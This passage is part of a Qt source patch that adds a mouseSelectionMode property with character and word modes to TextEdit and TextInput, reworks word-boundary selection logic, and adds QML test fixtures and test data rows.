     .../data/mouseselectionmode_default.qml            |   7 +
     .../data/mouseselectionmode_words.qml              |   8 +
     .../tst_qdeclarativetextedit.cpp                   | 349 ++++++++++++++++----
     .../data/mouseselectionmode_characters.qml         |   8 +
     .../data/mouseselectionmode_default.qml            |   7 +
     .../data/mouseselectionmode_words.qml              |   8 +
     .../tst_qdeclarativetextinput.cpp                  | 352 +++++++++++++++++----
     17 files changed, 778 insertions(+), 192 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    index 959d655..f63e4cb 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    @@ -653,9 +653,7 @@ void QDeclarativeTextEdit::moveCursorSelection(int pos)
         selected (the 6th and 7th characters).
     
         The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
    -    before or on position 5 and extend the selection end to a word boundary past position 9, and
    -    then if there is a word boundary between position 7 and 8 retract the selection end to that
    -    boundary.  If there is whitespace at position 7 the selection will be retracted further.
    +    before or on position 5 and extend the selection end to a word boundary on or past position 9.
     */
     void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
     {
    @@ -665,48 +663,43 @@ void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
             return;
         if (mode == SelectCharacters) {
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
    -    } else if (cursor.anchor() < pos) {
    -        cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    -        cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == cursor.anchor()) {
    -            cursor.movePosition(QTextCursor::NextWord, QTextCursor::MoveAnchor);
    +    } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) {
    +        if (cursor.anchor() > cursor.position()) {
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +            cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    +            if (cursor.position() == cursor.anchor())
    +                cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
    +            else
    +                cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor);
             } else {
    -            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::MoveAnchor);
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
                 cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor);
             }
    +
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
             cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == pos) {
    -            cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::KeepAnchor);
    +        if (cursor.position() != pos)
                 cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -
    -            if (cursor.anchor() > cursor.position())
    -                cursor.setPosition(pos, QTextCursor::MoveAnchor);
    -        } else {
    -            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        }
    -    } else if (cursor.anchor() > pos) {
    -        cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    -        cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == cursor.anchor()) {
    -            cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
    +    } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) {
    +        if (cursor.anchor() < cursor.position()) {
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
                 cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
             } else {
    -            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
    +            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    +            if (cursor.position() != cursor.anchor()) {
    +                cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +                cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
    +            }
             }
    +
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
             cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == pos) {
    -            cursor.movePosition(QTextCursor::NextWord, QTextCursor::KeepAnchor);
    -
    -            if (cursor.anchor() < cursor.position())
    -                cursor.setPosition(pos, QTextCursor::MoveAnchor);
    -        } else {
    +        if (cursor.position() != pos) {
                 cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
                 cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
             }
    -    } else {
    -        cursor.setPosition(pos, QTextCursor::MoveAnchor);
         }
         d->control->setTextCursor(cursor);
     }
    @@ -986,6 +979,35 @@ void QDeclarativeTextEdit::setSelectByMouse(bool on)
     }
     
     
    +/*!
    +    \qmlproperty enum TextEdit::mouseSelectionMode
    +    \since Quick 1.1
    +
    +    Specifies how text should be selected using a mouse.
    +
    +    \list
    +    \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
    +    \o TextEdit.SelectWords - The selection is updated with whole words.
    +    \endlist
    +
    +    This property only applies when \l selectByMouse is true.
    +*/
    +
    +QDeclarativeTextEdit::SelectionMode QDeclarativeTextEdit::mouseSelectionMode() const
    +{
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->mouseSelectionMode;
    +}
    +
    +void QDeclarativeTextEdit::setMouseSelectionMode(SelectionMode mode)
    +{
    +    Q_D(QDeclarativeTextEdit);
    +    if (d->mouseSelectionMode != mode) {
    +        d->mouseSelectionMode = mode;
    +        d->control->setWordSelectionEnabled(mode == SelectWords);
    +        emit mouseSelectionModeChanged(mode);
    +    }
    +}
     
     /*!
         \qmlproperty bool TextEdit::readOnly
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index db3cb2d..7785a7a 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -92,6 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePa
         Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged)
         Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints)
         Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
    +    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
         Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
     
     public:
    @@ -186,6 +187,9 @@ public:
         bool selectByMouse() const;
         void setSelectByMouse(bool);
     
    +    SelectionMode mouseSelectionMode() const;
    +    void setMouseSelectionMode(SelectionMode mode);
    +
         bool canPaste() const;
     
         virtual void componentComplete();
    @@ -235,6 +239,7 @@ Q_SIGNALS:
         void persistentSelectionChanged(bool isPersistentSelection);
         void textMarginChanged(qreal textMargin);
         void selectByMouseChanged(bool selectByMouse);
    +    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
         Q_REVISION(1) void linkActivated(const QString &link);
         Q_REVISION(1) void canPasteChanged();
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    index 98b3c6d..111cc02 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    @@ -73,7 +73,7 @@ public:
           showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
           textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
           format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
    -      selectByMouse(false), canPaste(false),
    +      mouseSelectionMode(QDeclarativeTextEdit::SelectCharacters), selectByMouse(false), canPaste(false),
           yoff(0)
         {
     #ifdef Q_OS_SYMBIAN
    @@ -121,6 +121,7 @@ public:
         QTextDocument *document;
         QTextControl *control;
         QDeclarativeTextEdit::WrapMode wrapMode;
    +    QDeclarativeTextEdit::SelectionMode mouseSelectionMode;
         int lineCount;
         bool selectByMouse;
         bool canPaste;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 3d2466d..9e62291 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -1022,7 +1022,7 @@ void QDeclarativeTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
     {
         Q_D(QDeclarativeTextInput);
         if (d->selectByMouse) {
    -        d->control->moveCursor(d->xToPos(event->pos().x()), true);
    +        moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
             event->setAccepted(true);
         } else {
             QDeclarativePaintedItem::mouseMoveEvent(event);
    @@ -1348,6 +1348,35 @@ void QDeclarativeTextInput::setSelectByMouse(bool on)
         }
     }
     
    +/*!
    +    \qmlproperty enum TextInput::mouseSelectionMode
    +    \since Quick 1.1
    +
    +    Specifies how text should be selected using a mouse.
    +
    +    \list
    +    \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
    +    \o TextInput.SelectWords - The selection is updated with whole words.
    +    \endlist
    +
    +    This property only applies when \l selectByMouse is true.
    +*/
    +
    +QDeclarativeTextInput::SelectionMode QDeclarativeTextInput::mouseSelectionMode() const
    +{
    +    Q_D(const QDeclarativeTextInput);
    +    return d->mouseSelectionMode;
    +}
    +
    +void QDeclarativeTextInput::setMouseSelectionMode(SelectionMode mode)
    +{
    +    Q_D(QDeclarativeTextInput);
    +    if (d->mouseSelectionMode != mode) {
    +        d->mouseSelectionMode = mode;
    +        emit mouseSelectionModeChanged(mode);
    +    }
    +}
    +
     bool QDeclarativeTextInput::canPaste() const
     {
         Q_D(const QDeclarativeTextInput);
    @@ -1397,9 +1426,7 @@ void QDeclarativeTextInput::moveCursorSelection(int position)
         selected (the 6th and 7th characters).
     
         The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
    -    before or on position 5 and extend the selection end to a word boundary past position 9, and
    -    then if there is a word boundary between position 7 and 8 retract the selection end to that
    -    boundary.  If there is whitespace at position 7 the selection will be retracted further.
    +    before or on position 5 and extend the selection end to a word boundary on or past position 9.
     */
     void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
     {
    @@ -1408,6 +1435,7 @@ void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
         if (mode == SelectCharacters) {
             d->control->moveCursor(pos, true);
         } else if (pos != d->control->cursor()){
    +        const int cursor = d->control->cursor();
             int anchor;
             if (!d->control->hasSelectedText())
                 anchor = d->control->cursor();
    @@ -1416,55 +1444,39 @@ void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
             else
                 anchor = d->control->selectionStart();
     
    -        if (anchor < pos) {
    +        if (anchor < pos || (anchor == pos && cursor < pos)) {
                 QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
                 finder.setPosition(anchor);
     
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) {
    -                 finder.toNextBoundary();
    -                 if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord)
    -                    finder.toPreviousBoundary();
    +            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
    +            if (!(reasons & QTextBoundaryFinder::StartWord)
    +                    || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor)) {
    +                finder.toPreviousBoundary();
                 }
                 anchor = finder.position();
     
                 finder.setPosition(pos);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) {
    -                finder.toPreviousBoundary();
    -                if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord)
    -                    finder.toNextBoundary();
    -            }
    -            int cursor = finder.position();
    +            if (!finder.isAtBoundary())
    +                finder.toNextBoundary();
     
    -            if (anchor < cursor)
    -                d->control->setSelection(anchor, cursor - anchor);
    -            else
    -                d->control->moveCursor(pos, false);
    -
    -        } else if (anchor > pos) {
    +            d->control->setSelection(anchor, finder.position() - anchor);
    +        } else if (anchor > pos || (anchor == pos && cursor > pos)) {
                 QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
    -
                 finder.setPosition(anchor);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) {
    -                finder.toPreviousBoundary();
    -                if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord)
    -                    finder.toNextBoundary();
    +
    +            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
    +            if (!(reasons & QTextBoundaryFinder::EndWord)
    +                    || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor)) {
    +                finder.toNextBoundary();
                 }
    +
                 anchor = finder.position();
     
                 finder.setPosition(pos);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) {
    -                 finder.toNextBoundary();
    -                 if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord)
    -                    finder.toPreviousBoundary();
    -            }
    -            int cursor = finder.position();
    -
    -            if (anchor > cursor)
    -                d->control->setSelection(anchor, cursor - anchor);
    -            else
    -                d->control->moveCursor(pos, false);
    -        } else {
    -            d->control->moveCursor(pos, false);
    +            if (!finder.isAtBoundary())
    +                 finder.toPreviousBoundary();
    +
    +            d->control->setSelection(anchor, finder.position() - anchor);
             }
         }
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    index 543f7a8..63d0e53 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    @@ -95,6 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizeP
         Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged)
         Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged)
         Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
    +    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
         Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
     
     public:
    @@ -192,6 +193,9 @@ public:
         bool selectByMouse() const;
         void setSelectByMouse(bool);
     
    +    SelectionMode mouseSelectionMode() const;
    +    void setMouseSelectionMode(SelectionMode mode);
    +
         bool hasAcceptableInput() const;
     
         void drawContents(QPainter *p,const QRect &r);
    @@ -225,6 +229,7 @@ Q_SIGNALS:
         void activeFocusOnPressChanged(bool activeFocusOnPress);
         void autoScrollChanged(bool autoScroll);
         void selectByMouseChanged(bool selectByMouse);
    +    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
         Q_REVISION(1) void canPasteChanged();
     
     protected:
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 1f45c11..7a0086e 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -73,6 +73,7 @@ public:
         QDeclarativeTextInputPrivate() : control(new QLineControl(QString())),
                      color((QRgb)0), style(QDeclarativeText::Normal),
                      styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),
    +                 mouseSelectionMode(QDeclarativeTextInput::SelectCharacters),
                      hscroll(0), oldScroll(0), focused(false), focusOnPress(true),
                      showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
                      autoScroll(true), selectByMouse(false), canPaste(false)
    @@ -114,6 +115,7 @@ public:
         QDeclarativeText::TextStyle style;
         QColor  styleColor;
         QDeclarativeTextInput::HAlignment hAlign;
    +    QDeclarativeTextInput::SelectionMode mouseSelectionMode;
         QPointer cursorComponent;
         QPointer cursorItem;
     
    diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp
    index 030e196..e380b37 100644
    --- a/src/gui/text/qtextcontrol.cpp
    +++ b/src/gui/text/qtextcontrol.cpp
    @@ -129,7 +129,8 @@ QTextControlPrivate::QTextControlPrivate()
           isEnabled(true),
           hadSelectionOnMousePress(false),
           ignoreUnusedNavigationEvents(false),
    -      openExternalLinks(false)
    +      openExternalLinks(false),
    +      wordSelectionEnabled(false)
     {}
     
     bool QTextControlPrivate::cursorMoveKeyEvent(QKeyEvent *e)
    @@ -1544,11 +1545,16 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
             }
     #endif
             if (modifiers == Qt::ShiftModifier) {
    +            if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
    +                selectedWordOnDoubleClick = cursor;
    +                selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
    +            }
    +
                 if (selectedBlockOnTrippleClick.hasSelection())
                     extendBlockwiseSelection(cursorPos);
                 else if (selectedWordOnDoubleClick.hasSelection())
                     extendWordwiseSelection(cursorPos, pos.x());
    -            else
    +            else if (wordSelectionEnabled)
                     setCursorPosition(cursorPos, QTextCursor::KeepAnchor);
             } else {
     
    @@ -1626,6 +1632,11 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
         if (newCursorPos == -1)
             return;
     
    +    if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
    +        selectedWordOnDoubleClick = cursor;
    +        selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
    +    }
    +
         if (selectedBlockOnTrippleClick.hasSelection())
             extendBlockwiseSelection(newCursorPos);
         else if (selectedWordOnDoubleClick.hasSelection())
    @@ -2343,6 +2354,18 @@ bool QTextControl::isDragEnabled() const
         return d->dragEnabled;
     }
     
    +void QTextControl::setWordSelectionEnabled(bool enabled)
    +{
    +    Q_D(QTextControl);
    +    d->wordSelectionEnabled = enabled;
    +}
    +
    +bool QTextControl::isWordSelectionEnabled() const
    +{
    +    Q_D(const QTextControl);
    +    return d->wordSelectionEnabled;
    +}
    +
     #ifndef QT_NO_PRINTER
     void QTextControl::print(QPrinter *printer) const
     {
    diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h
    index 9277b68..31fa843 100644
    --- a/src/gui/text/qtextcontrol_p.h
    +++ b/src/gui/text/qtextcontrol_p.h
    @@ -178,6 +178,9 @@ public:
         void setDragEnabled(bool enabled);
         bool isDragEnabled() const;
     
    +    bool isWordSelectionEnabled() const;
    +    void setWordSelectionEnabled(bool enabled);
    +
     #ifndef QT_NO_PRINTER
         void print(QPrinter *printer) const;
     #endif
    @@ -186,8 +189,6 @@ public:
         virtual QRectF blockBoundingRect(const QTextBlock &block) const;
         QAbstractTextDocumentLayout::PaintContext getPaintContext(QWidget *widget) const;
     
    -
    -
     public Q_SLOTS:
         void setPlainText(const QString &text);
         void setHtml(const QString &text);
    diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h
    index d7463ca..ecd13ea 100644
    --- a/src/gui/text/qtextcontrol_p_p.h
    +++ b/src/gui/text/qtextcontrol_p_p.h
    @@ -211,6 +211,8 @@ public:
         bool ignoreUnusedNavigationEvents;
         bool openExternalLinks;
     
    +    bool wordSelectionEnabled;
    +
         QString linkToCopy;
         void _q_copyLink();
         void _q_updateBlock(const QTextBlock &);
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
    new file mode 100644
    index 0000000..5784e19
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextEdit.SelectCharacters
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
    new file mode 100644
    index 0000000..1e5f4aa
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
    @@ -0,0 +1,7 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
    new file mode 100644
    index 0000000..4b25f2f
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextEdit.SelectWords
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 1364337..b82aca8 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -112,8 +112,12 @@ private slots:
         void selection();
         void moveCursorSelection_data();
         void moveCursorSelection();
    +    void moveCursorSelectionSequence_data();
    +    void moveCursorSelectionSequence();
         void mouseSelection_data();
         void mouseSelection();
    +    void mouseSelectionMode_data();
    +    void mouseSelectionMode();
         void dragMouseSelection();
         void inputMethodHints();
     
    @@ -786,91 +790,113 @@ void tst_qdeclarativetextedit::moveCursorSelection_data()
         QTest::newRow("jum()ped|characters")
                 << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true;
     
    -    QTest::newRow("(t)he|words")
    +    QTest::newRow("<(t)he>|words")
                 << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
    -    QTest::newRow("do(g)|words")
    +    QTest::newRow("|words")
                 << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
    -    QTest::newRow("jum(p)ed|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
    -    QTest::newRow("jumped( )over|words")
    -            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 27 << 27 << false;
    -    QTest::newRow("jumped( )over|words,reversed")
    -            << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 26 << false;
    -    QTest::newRow("(the )|words")
    -            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
    -    QTest::newRow("( dog)|words")
    -            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
    -    QTest::newRow("( jumped )|words")
    -            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
    -    QTest::newRow("th(e qu)ick|words")
    +    QTest::newRow("over|words")
    +            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 27 << false;
    +    QTest::newRow("jumped<( )over>|words,reversed")
    +            << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 31 << false;
    +    QTest::newRow("<(the )>quick|words")
    +            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 4 << false;
    +    QTest::newRow("<(the )quick>|words,reversed")
    +            << standard[0] << 4 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 9 << false;
    +    QTest::newRow("|words")
    +            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 36 << 44 << false;
    +    QTest::newRow("lazy<( dog)>|words,reversed")
    +            << standard[0] << 44 << 40 << QDeclarativeTextEdit::SelectWords << 40 << 44 << false;
    +    QTest::newRow("over|words")
    +            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 16 << 27 << false;
    +    QTest::newRow("fox<( jumped )over>|words,reversed")
    +            << standard[0] << 27 << 19 << QDeclarativeTextEdit::SelectWords << 19 << 31 << false;
    +    QTest::newRow("|words")
                 << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true;
    -    QTest::newRow("la(zy d)og|words")
    +    QTest::newRow("")
                 << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true;
    -    QTest::newRow("jum(ped ov)er|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true;
    -    QTest::newRow("()the|words")
    +    QTest::newRow("<()>the|words")
                 << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
    -    QTest::newRow("dog()|words")
    +    QTest::newRow("dog<()>|words")
                 << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true;
    -    QTest::newRow("jum()ped|words")
    +    QTest::newRow("jum<()>ped|words")
                 << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true;
     
    -    QTest::newRow("Hello(,) |words")
    +    QTest::newRow("Hello<(,)> |words")
                 << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hello(, )|words")
    -            << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hel(lo, )|words")
    -            << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true;
    -    QTest::newRow("Hel(lo),|words")
    +    QTest::newRow("Hello<(, )>world|words")
    +            << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello<(, )world>|words,reversed")
    +            << standard[2] << 7 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
    +    QTest::newRow("world|words")
    +            << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
    +    QTest::newRow("|words,reversed")
    +            << standard[2] << 7 << 3 << QDeclarativeTextEdit::SelectWords << 0 << 12 << false;
    +    QTest::newRow(",|words")
                 << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true;
    -    QTest::newRow("Hello(),|words")
    +    QTest::newRow("Hello<()>,|words")
                 << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true;
    -    QTest::newRow("Hello,()|words")
    +    QTest::newRow("Hello,<()>|words")
                 << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false;
    -    QTest::newRow("Hello,( world)|words")
    -            << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 7 << 12 << true;
    -    QTest::newRow("Hello,( world!)|words")
    -            << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true;
    -    QTest::newRow("Hello(, world!)|words")
    +    QTest::newRow("Hello<,( )>world|words")
    +            << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello,<( )world>|words,reversed")
    +            << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world)>|words")
    +            << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
    +    QTest::newRow("Hello,<( world)>|words,reversed")
    +            << standard[2] << 12 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world!)>|words")
    +            << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << false;
    +    QTest::newRow("Hello,<( world!)>|words,reversed")
    +            << standard[2] << 13 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
    +    QTest::newRow("Hello<(, world!)>|words")
